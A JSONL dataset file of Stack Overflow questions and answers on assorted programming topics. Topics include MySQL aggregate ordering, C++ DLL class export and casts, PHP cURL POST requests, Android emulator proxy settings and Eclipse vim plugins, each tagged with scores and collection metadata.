{"id": "hf_34d1c0e2da58", "question": "<p>Basically what I want to do it this: a pdb file contains a location of source files (e.g. <code>C:\\dev\\proj1\\helloworld.cs</code>). Is it possible to modify that pdb file so that it contains a different location (e.g. <code>\\more\\differenter\\location\\proj1\\helloworld.cs</code>)?</p>\n", "question_body": "", "answer": "If you're looking to be more generic about the paths embedded in a pdb file, you could first use the MS-DOS\n```\nsubst\n```\ncommand to map a particular folder to a drive letter.\n```\n```\nsubst N: <MyRealPath>\n```\n```\nThen open your project relative to the N: drive and rebuild it.  Your PDB files will reference the source files on N:.  Now it doesn't matter where you place that particular set of source files, so long as you subsequently call the root directory \"N:\" like you did when you built it.\nThis practice is recommended by John Robbins in his excellent book,\nDebugging Applications for Microsoft .NET and Microsoft Windows\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.056237"}
{"id": "hf_a3554f06b5c7", "question": "<p>I have a table of tags and want to get the highest count tags from the list.</p>\n\n<p>Sample data looks like this</p>\n\n<pre><code>id (1) tag ('night')\nid (2) tag ('awesome')\nid (3) tag ('night')\n</code></pre>\n\n<p>using</p>\n\n<pre><code>SELECT COUNT(*), `Tag` from `images-tags`\nGROUP BY `Tag`\n</code></pre>\n\n<p>gets me back the data I'm looking for perfectly. However, I would like to organize it, so that the highest tag counts are first, and limit it to only send me the first 20 or so.</p>\n\n<p>I tried this...</p>\n\n<pre><code>SELECT COUNT(id), `Tag` from `images-tags`\nGROUP BY `Tag`\nORDER BY COUNT(id) DESC\nLIMIT 20\n</code></pre>\n\n<p>and I keep getting an \"Invalid use of group function - ErrNr 1111\"</p>\n\n<p>What am I doing wrong?</p>\n\n<p>I'm using MySQL 4.1.25-Debian</p>\n", "question_body": "", "answer": "MySQL prior to version 5 did not allow aggregate functions in ORDER BY clauses.\nYou can get around this limit with the deprecated syntax:\n```\n```\nSELECT COUNT(id), `Tag` from `images-tags`\nGROUP BY `Tag`\nORDER BY 1 DESC\nLIMIT 20\n```\n```\n1, since it's the first column you want to group on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.091198"}
{"id": "hf_7214d02c98d7", "question": "<p>Most of my C/C++ development involves monolithic module files and absolutely no classes whatsoever, so usually when I need to make a <strong>DLL</strong> with accessible functions I just export them using the standard <code>__declspec(dllexport)</code> directive.  Then access them either dynamically via <code>LoadLibrary()</code> or at compile time with a header and lib file. </p>\n\n<p>How do you do this when you want to export an entire class (and all it's public methods and properties)?</p>\n\n<p>Is it possible to dynamically load that class at runtime and if so, how?</p>\n\n<p>How would you do it with a header and lib for compile time linking?</p>\n", "question_body": "", "answer": "I use some macros to mark the code for import or export\n```\n#ifdef ISDLL\n#define DLL __declspec(dllexport)\n#endif\n\n#ifdef USEDLL\n#define DLL __declspec(dllimport)\n#endif\n```\nThen declare the class in a header file:\n```\nclass DLL MyClassToExport { ... }\n```\nThen\n```\n#define ISDLL\n```\nin the libary, and\n```\nUSEDLL\n```\nbefore including the header file in the place you want to use the class.\nI don't know if you might need to do anything differently for working with\n```\nLoadLibrary\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.115833"}
{"id": "hf_0982008dcb56", "question": "<p>I've been writing C and C++ code for almost twenty years, but there's one aspect of these languages that I've never really understood. I've obviously used regular casts i.e.</p>\n\n<pre><code>MyClass *m = (MyClass *)ptr;\n</code></pre>\n\n<p>all over the place, but there seem to be two other types of casts, and I don't know the difference. What's the difference between the following lines of code?</p>\n\n<pre><code>MyClass *m = (MyClass *)ptr;\nMyClass *m = static_cast&lt;MyClass *&gt;(ptr);\nMyClass *m = dynamic_cast&lt;MyClass *&gt;(ptr);\n</code></pre>\n", "question_body": "", "answer": "```\ndynamic_cast\n```\nhas runtime type checking and only works with references and pointers, whereas\n```\nstatic_cast\n```\ndoes not offer runtime type checking. For complete information, see the MSDN article\nstatic_cast Operator\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.139268"}
{"id": "hf_c8ded47a337d", "question": "<p>I have a large database and would like to select table names that have a certain column name. I have done something like this in MySQL, but can't find any info on SQL Server.</p>\n\n<p>I want to do something like:</p>\n\n<pre><code>select [table] \nfrom [db] \nwhere table [has column 'classtypeid']\n</code></pre>\n\n<p>How can I do something like this?</p>\n", "question_body": "", "answer": "Use the ANSI information_schema views, this will also work in MySQL\n```\n```\nselect table_name \nfrom information_schema.columns \nwhere column_name = 'classtypeid'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.163455"}
{"id": "hf_25fe4f3e0a36", "question": "<p>How do you determine when to use <a href=\"http://www.iselfschooling.com/mc4articles/mc4cluster.htm\" rel=\"noreferrer\">table clusters</a>? There are two types, index and hash, to use for different cases. In your experience, have the introduction and use of table clusters paid off?</p>\n\n<p>If none of your tables are set up this way, modifying them to use table clusters would add to the complexity of the set up. But would the expected performance benefits outweight the cost of increased complexity in future maintenance work? </p>\n\n<p>Do you have any favorite online references or books that describe table clustering well and give good implementation examples? </p>\n\n<p>//Oracle tips greatly appreciated.  </p>\n", "question_body": "", "answer": "I haven't used Oracle's table clusters myself, but I understand that its index table clusters are very much like MS SQL Server's clustered indexes. That is, the row data is physically organized by the clustered index's key.\nThat makes one ideal for a heavily-accessed column that has a reasonably small number of possible values (compared to the total number of rows), where most queries want to retrieve all rows with a particular value. Because all such rows are physically stored together, disk I/O, particularly seek time, is reduced.\n\"Reasonably small\" is not easily defined, but postal or zip codes in an address table seems reasonable if you're often querying for all addresses in a single code's region. Province/state/territory codes are likely too small a selection for a country-wide address table.\nSo, you don't want to use them on columns with few possible values (e.g., M/F for gender) because then the clustering doesn't buy you anything and likely costs you for insertions. You also never want to use clustering on \"autonumber\" surrogate key columns (from sequences in Oracle) because that will create a \"hot spot\" in the last extent of the table as all insertions must physically happen there. You also don't want to apply clustering to a column value that will be updated because the RDBMS will have to physically move the record to maintain the clustered ordering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.186933"}
{"id": "hf_43bb8ed492b4", "question": "<p>Working with dates in ruby and rails on windows, I'm having problems with pre-epoch dates (before 1970) throwing out of range exceptions. I tried using both <a href=\"http://ruby-doc.org/core-2.2.0/Time.html\" rel=\"nofollow noreferrer\"><code>Time</code></a> and <a href=\"http://ruby-doc.org/stdlib-1.9.3/libdoc/date/rdoc/DateTime.html\" rel=\"nofollow noreferrer\"><code>DateTime</code></a> objects, but still have the same problems.</p>\n", "question_body": "", "answer": "If you only need dates (no times), the\n```\nDate\n```\nclass in ruby should handle dates before 1970. But it has only a resolution of days. I don't know if there are solutions, if you also need times before 1970\n(source)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.210779"}
{"id": "hf_2e922485c0de", "question": "<p>How can I have it so Visual Studio doesn't keep re-creating this folder that I never use. It's annoying ot keep looking and unnecessary.</p>\n", "question_body": "", "answer": "```\n```\nTools->Options->Addin/Macro Security\n```\n```\nChange Paths there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.234381"}
{"id": "hf_b40c7ceb54cd", "question": "<p>I have a ListBox that has a style defined for ListBoxItems.  Inside this style, I have some labels and a button.  One that button, I want to define a click event that can be handled on my page (or any page that uses that style).  How do I create an event handler on my WPF page to handle the event from my ListBoxItems style?</p>\n\n<p>Here is my style (affected code only):</p>\n\n<pre><code>&lt;Style x:Key=\"UsersTimeOffList\"  TargetType=\"{x:Type ListBoxItem}\"&gt;\n... \n&lt;Grid&gt;\n&lt;Button x:Name=\"btnRemove\" Content=\"Remove\" Margin=\"0,10,40,0\" Click=\"btnRemove_Click\" /&gt;\n&lt;/Grid&gt;\n&lt;/Style&gt;\n</code></pre>\n\n<p>Thanks! </p>\n", "question_body": "", "answer": "You could create a user control (.ascx) to house the listbox. Then add a public event for the page.\n```\n```\nPublic Event btnRemove()\n```\n```\nThen on the button click event in the usercontrol\n```\n```\nRaiseEvent btnRemove()\n```\n```\nYou can also pass objects through the event just like any other method. This will allow your user control to tell your page what to delete.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.281855"}
{"id": "hf_fc83104344b9", "question": "<p>How do I convert the value of a PHP variable to string?</p>\n\n<p>I was looking for something better than concatenating with an empty string:</p>\n\n<pre><code>$myText = $myVar . '';\n</code></pre>\n\n<p>Like the <code>ToString()</code> method in Java or .NET.</p>\n", "question_body": "", "answer": "Putting it in double quotes should work:\n```\n```\n$myText = \"$myVar\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.305679"}
{"id": "hf_934ae03db0b4", "question": "<p>We would like to have user defined formulas in our c++ program.\ne.g. The value <em>v = x + ( y - (z - 2)) / 2</em>. Later in the program the user would define x,y and z -> the program should return the result of the calculation. <br />Somewhen later the formula may get changed, so the next time the program should parse the formula and add the  new values. <br/><br/> Any ideas / hints how to do something like this ? <br/><br/> So far I just came to the solution to write a parser to calculate these formulas - maybe any ideas about that ?</p>\n", "question_body": "", "answer": "Using\nSpirit\n(for example) to parse (and the 'semantic actions' it provides to construct an expression tree that you can then manipulate, e.g., evaluate) seems like quite a simple solution. You can find a grammar for arithmetic expressions\nthere\nfor example, if needed... (it's quite simple to come up with your own).\nNote: Spirit is\nvery\nsimple to learn, and quite adapted for such tasks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.340759"}
{"id": "hf_56f7a50857e7", "question": "<p>Every time I create a new project I copy the last project's ant file to the new one and make the appropriate changes (trying at the same time to make it more flexible for the next project). But since I didn't really thought about it at the beginning, the file started to look really ugly.</p>\n\n<p>Do you have an Ant template that can be easily ported in a new project? Any tips/sites for making one?</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "I used to do exactly the same thing.... then I switched to\nmaven\n.  Maven relies on a simple xml file to configure your build and a simple repository to manage your build's dependencies (rather than checking these dependencies into your source control system with your code).\nOne feature I really like is how easy it is to version your jars - easily keeping previous versions available for legacy users of your library.  This also works to your benefit when you want to upgrade a library you use - like junit.  These dependencies are stored as separate files (with their version info) in your maven repository so old versions of your code always have their specific dependencies available.\nIt's a better Ant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.447886"}
{"id": "hf_225c61104446", "question": "<p>Can I get a 'when to use' for these and others? </p>\n\n<pre><code>&lt;% %&gt;\n&lt;%# EVAL() %&gt;\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Check out the\nWeb Forms Syntax Reference\non MSDN.\nFor basics,\n<% %> is used for pure code blocks.  I generally only use this for if statements\n<div class=\"authenticated\">\n<div class=\"unauthenticated\">\nis used to add text into your markup; that is, it equates to\n<div class='<%= IsLoggedIn ? \"authenticated\" : \"unauthenticated\" %>'>\n<%# Expression %> is very similar to the above, but it is evaluated in a DataBinding scenario.  One thing that this means is that you can use these expressions to set values of runat=\"server\" controls, which you can't do with the <%= %> syntax.  Typically this is used inside of a template for a databound control, but you can also use it in your page, and then call Page.DataBind() (or Control.DataBind()) to cause that code to evaluate.\nThe others mentioned in the linked article are less common, though certainly have their uses, too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.483880"}
{"id": "hf_239f83a14550", "question": "<p>Using <a href=\"http://www.oracle.com/technology/products/jdev\" rel=\"noreferrer\">JDeveloper</a>, I started developing a set of web pages for a project at work. Since I didn't know much about JDev at the time, I ran over to Oracle to follow some tutorials. The JDev tutorials recommended doing <a href=\"http://www.fileinfo.net/extension/jspx\" rel=\"noreferrer\">JSPX</a> instead of <a href=\"https://java.sun.com/products/jsp\" rel=\"noreferrer\">JSP</a>, but didn't really explain why. Are you developing JSPX pages? Why did you decide to do so? What are the pros/cons of going the JSPX route?  </p>\n", "question_body": "", "answer": "Hello fellow JDeveloper developer!\nI have been working with JSPX pages for over two years and I never had any problems with them being JSPX opposed to JSP. The choice for me to go with JSPX was kinda forced since I use JHeadstart to automatically generate ADF Faces pages and by default, JHeadstart generates everything in JSPX.\nJSPX specifies that the document has to be a well-formed XML document. This allows stuff to properly and efficiently parse it. I have heard developers say that this helps your pages be more 'future proof' opposed to JSP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.522887"}
{"id": "hf_a477364cea6b", "question": "<p>I've been looking for a tool to extract exception information from a C++ program. The most wanted feature I'm looking for: I want to know all the exceptions that can be thrown from a function (which would include all the function that is called from that function recursively).</p>\n\n<p>I've always thought that documenting errors and exceptions in particular is very hard (and takes a lot of effort to keep up to date). But if there is some way to automate that, it would be very helpful.</p>\n\n<p>A tool for windows and Visual Studio would be preferred but not necessary, I could always work around that.</p>\n", "question_body": "", "answer": "PC-Lint\nclaims to do static exception analysis of C++ code.\nCoverity\nis another static C++ code analysis tool that apparently informs you of unhandled exceptions.\nAQtime\nclaims to have exception tracing as part of its code analysis. Plus, they advertise Visual Studio integration.\nHere\nis a list of several static code analysis tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.592874"}
{"id": "hf_193dab453f8f", "question": "<p>What are the most user-friendly color combinations for Web 2.0 websites, such as background, button colors, etc.? </p>\n", "question_body": "", "answer": "search for color on useit\nsearch for color on boxesandarrows\nThere has been loads of research on this sort of stuff and most of it is conflicting a couple of good jump off points are listed above.\nGenerally lighter backgrounds and good contrast are favoured by all researchers but the details get niggly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.678453"}
{"id": "hf_c926ba8af528", "question": "<p>Has anybody managed to get the Android Emulator working behind a proxy that requires authentication?</p>\n<p>I've tried setting the -http-proxy argument to</p>\n<pre><code>http://DOMAIN/USERNAME:PASSWORD@IP:PORT\n</code></pre>\n<p>but am having no success.</p>\n<p>I've tried following the docs to no avail. I've also tried the <code>-verbose-proxy</code> setting but this no longer seems to exist.</p>\n<p>Any pointers?</p>\n", "question_body": "", "answer": "I've not used the Android Emulator but I have set the $http_proxy environment variable for perl and wget and a few cygwin tools on windows. That might work for you for android, but the slash in the domain name seems like a potential problem.\nI know I tried having my domain \"GLOBAL\" in there, but ended up taking it out and sticking with:\n```\nhttp://$USER:password@www-proxy.company.com:80\n```\nOne problem I run into a lot though is programs that cannot be told to use the proxy for DNS queries too. In cases where they don't I always get a host name not found. I'd like to find a local dns resolver that can use the proxy for all the programs that won't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.751779"}
{"id": "hf_a083351f7c5e", "question": "<p>How do you pass <code>$_POST</code> values to a page using <code>cURL</code>?</p>\n", "question_body": "", "answer": "Should work fine.\n```\n```\n$data = array('name' => 'Ross', 'php_master' => true);\n\n// You can POST a file by prefixing with an @ (for <input type=\"file\"> fields)\n$data['file'] = '@/home/user/world.jpg';\n\n$handle = curl_init($url);\ncurl_setopt($handle, CURLOPT_POST, true);\ncurl_setopt($handle, CURLOPT_POSTFIELDS, $data);\ncurl_exec($handle);\ncurl_close($handle)\n```\n```\nWe have two options here,\n```\nCURLOPT_POST\n```\nwhich turns HTTP POST on, and\n```\nCURLOPT_POSTFIELDS\n```\nwhich contains an array of our post data to submit. This can be used to submit data to\n```\nPOST\n```\n```\n<form>\n```\ns.\nIt is important to note that\n```\ncurl_setopt($handle, CURLOPT_POSTFIELDS, $data);\n```\ntakes the $data in two formats, and that this determines how the post data will be encoded.\n```\n$data\n```\nas an\n```\narray()\n```\n: The data will be sent as\n```\nmultipart/form-data\n```\nwhich is not always accepted by the server.\n```\n```\n$data = array('name' => 'Ross', 'php_master' => true);\ncurl_setopt($handle, CURLOPT_POSTFIELDS, $data);\n```\n```\n```\n$data\n```\nas url encoded string: The data will be sent as\n```\napplication/x-www-form-urlencoded\n```\n, which is the default encoding for submitted html form data.\n```\n```\n$data = array('name' => 'Ross', 'php_master' => true);\ncurl_setopt($handle, CURLOPT_POSTFIELDS, http_build_query($data));\n```\n```\nI hope this will help others save their time.\nSee:\n```\ncurl_init\n```\n```\ncurl_setopt\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.787498"}
{"id": "hf_8c6c283cfdc3", "question": "<p>I want to bring up a file dialog in Java that defaults to the application installation directory.</p>\n\n<p>What's the best way to get that information programmatically?</p>\n", "question_body": "", "answer": "```\n```\nSystem.getProperty(\"user.dir\")\n```\n```\ngets the directory the Java VM was started from.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.812886"}
{"id": "hf_71a35b9b4fd5", "question": "<p>I recently asked a question about <a href=\"https://stackoverflow.com/questions/28377/iif-vs-if\">IIf vs. If</a> and found out that there is another function in VB called <strong>If</strong> which basically does the same thing as <strong>IIf</strong> but is a short-circuit.</p>\n\n<p>Does this <strong>If</strong> function perform better than the <strong>IIf</strong> function?  Does the <strong>If</strong> statement trump the <strong>If</strong> and <strong>IIf</strong> functions?</p>\n", "question_body": "", "answer": "Damn, I really thought you were talking about the operator all along. ;-) Anyway …\nDoes this If function perform better than the IIf function?\nDefinitely. Remember, it's built into the language. Only one of the two conditional arguments has to be evaluated, potentially saving a costly operation.\nDoes the If statement trump the If and IIf functions?\nI think you can't compare the two because they do different things. If your code semantically performs an assignment you should emphasize this, instead of the decision-making. Use the\n```\nIf\n```\noperator here instead of the statement. This is especially true if you can use it in the initialization of a variable because otherwise the variable will be default initialized, resulting in slower code:\n```\n```\nDim result = If(a > 0, Math.Sqrt(a), -1.0)\n\n' versus\n\nDim result As Double ' Redundant default initialization!\nIf a > 0 Then\n    result = Math.Sqrt(a)\nElse\n    result = -1\nEnd If\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.859989"}
{"id": "hf_0ba60aa99562", "question": "<p>What open source licenses are more corporate-friendly, i.e., they can be used in commercial products without the need to open source the commercial product?</p>\n", "question_body": "", "answer": "The two most commonly used licenses that allow what you want are the\nBSD License\nand\nMIT License\n. (see also the full\nlist of licenses\nconsidered Open Source by the OSI).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.922091"}
{"id": "hf_90fc8c40f7db", "question": "<p>What's the best Python idiom for this C construct?</p>\n\n<pre><code>while ((x = next()) != END) {\n    ....\n}\n</code></pre>\n\n<p>I don't have the ability to recode next().</p>\n\n<p>update:  and the answer from seems to be:</p>\n\n<pre><code>for x in iter(next, END):\n    ....\n</code></pre>\n", "question_body": "", "answer": "Maybe it's not terribly idiomatic, but I'd be inclined to go with\n```\n```\nx = next()\nwhile x != END:\n    do_something_with_x\n    x = next()\n```\n```\n... but that's because I find that sort of thing easy to read", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:06.969327"}
{"id": "hf_ef9439724245", "question": "<p>A discussion about Singletons in <strong>PHP</strong> has me thinking about this issue more and more. Most people instruct that you shouldn't make a bunch of DB connections in one request, and I'm just curious as to what your reasoning is. My first thought is the expense to your script of making that many requests to the DB, but then I counter myself with the question: wouldn't multiple connections make concurrent querying more efficient?</p>\n\n<p>How about some answers (with evidence, folks) from some people in the know?</p>\n", "question_body": "", "answer": "It is the cost of setting up the connection, transferring the data and then tearing it down.  It will eat up your performance.\nEvidence is harder to come by but consider the following...\nLet's say it takes x microseconds to make a connection.\nNow you want to make several requests and get data back and forth.  Let's say that the difference in transport time is negligable between one connection and many (just ofr the sake of argument).\nNow let's say it takes y microseconds to close the connection.\nOpening one connection will take x+y microseconds of overhead.  Opening many will take n * (x+y).  That will delay your execution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.028382"}
{"id": "hf_3f1b6d72635e", "question": "<p>I'm trying to learn C. As a C# developer, my IDE is Visual Studio. I've heard this is a good environment for C/C++ development. However, it seems no matter what little thing I try to do, intuition fails me. Can someone give good resources for how to either:</p>\n\n<ul>\n<li>learn the ins and out of C in Visual Studio</li>\n<li>recommend a better C IDE + compiler</li>\n</ul>\n\n<hr>\n\n<p><strong>Edit:</strong> See also: <a href=\"https://stackoverflow.com/questions/951516/a-good-c-ide\">https://stackoverflow.com/questions/951516/a-good-c-ide</a></p>\n", "question_body": "", "answer": "Some people say that a smaller IDE is better for learning. Take a look at\nCode::Blocks\n. It's generally true that beginning C in an IDE is hard because not many books explain enough to control the IDE. Perhaps starting in a console and a basic text editor with syntax highlighting would be better – at least under Linux. Since Windows' console is far from great, I'd not recommend using it.\n/EDIT: Dev-C++ used to be the best freely available IDE for Windows. However, it's development has been discontinued years ago and the most recent version unfortunately is full of bugs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.063829"}
{"id": "hf_b318d64c1f6c", "question": "<p>I need to find a bottleneck and need to accurately as possible measure time.</p>\n\n<p>Is the following code snippet the best way to measure the performance?</p>\n\n<pre><code>DateTime startTime = DateTime.Now;\n\n// Some execution process\n\nDateTime endTime = DateTime.Now;\nTimeSpan totalTimeTaken = endTime.Subtract(startTime);\n</code></pre>\n", "question_body": "", "answer": "The\nstopwatch\nfunctionality would be better (higher precision).  I'd also recommend just downloading one of the popular profilers, though (\nDotTrace\nand\nANTS\nare the ones I've used the most... the free trial for DotTrace is fully functional and doesn't nag like some of the others).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.087891"}
{"id": "hf_aec573d867db", "question": "<p>I have a web service that I created in C# and a test harness that was provided by my client. Unfortunately my web service doesn't seem to be parsing the objects created by the test harness. I believe the problem lies with serializing the soap packet. </p>\n\n<p>Using TCPTrace I was able to get the soap packet passed to the web service but only on a remote machine so I can't debug it there. Is there a way of calling my local webservice with the soap packet generated rather than my current test harness where I manually create objects and call the web service through a web reference?</p>\n\n<p>[edit] The machine that I got the soap packet was on a vm so I can't link it to my machine. I suppose I'm looking for a tool that I can paste the soap packet into and it will in turn call my web service</p>\n", "question_body": "", "answer": "By default, .Net will not allow you to connect a packet analyzer like TCPTrace or Fiddler (which I prefer) to localhost or 127.0.0.1 connections (for reasons that I forget now..)\nBest way would be to reference your web services via a full IP address or FQDN where possible.  That will allow you to trace the calls in the tool of your choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.134623"}
{"id": "hf_9062d9297cf4", "question": "<p>Is there a simple way of getting a HTML textarea and an input type=\"text\" to render with (approximately) equal width (in pixels), that works in different browsers?</p>\n\n<p>A CSS/HTML solution would be brilliant. I would prefer not to have to use Javascript.</p>\n\n<p>Thanks\n/Erik</p>\n", "question_body": "", "answer": "You should be able to use\n```\n```\n.mywidth {\n  width: 100px;   \n}\n```\n```\n```\n```\n<input class=\"mywidth\">\n<br>\n<textarea class=\"mywidth\"></textarea>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.217820"}
{"id": "hf_6083715477db", "question": "<p>Whats the best/easiest way to obtain a count of items within an IEnumerable collection without enumerating over all of the items in the collection?</p>\n\n<p>Possible with LINQ or Lambda?</p>\n", "question_body": "", "answer": "In any case, you have to loop through it. Linq offers the\n```\nCount\n```\nmethod:\n```\n```\nvar result = myenum.Count();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.277481"}
{"id": "hf_8874e670dca6", "question": "<p>I have been doing some java development lately and have started using Eclipse.  For the most part, I think it is great, but being a C/C++ guy used to doing all of his editing in vim, I find myself needlessly hitting the Esc key over and over.</p>\n\n<p>It would be really nice if I got all the nice features of Eclipse, but still could do basic editing the same way I can in vim.  Anyone know of any Eclipse pluggins that would help with this?</p>\n", "question_body": "", "answer": "There is this plugin that costs $20+\nhttp://satokar.com/viplugin/\nI use it and it works great, you've got basic vi movement commands and a set of others.\nHere is an open source, free plugin but i've never been able to get it working (i'm on a mac).\nhttp://sourceforge.net/projects/vimplugin/\nYou can also go the other way and get eclipse code completion inside vim.\nhttp://eclim.sourceforge.net/\nYou basically run an instance of Eclipse and you will be working inside vim. They just released a version compatible with Eclipse 3.4.\nNew plugin I've started using\nhttps://marketplace.eclipse.org/content/viable-vim-eclipse", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:07.337743"}
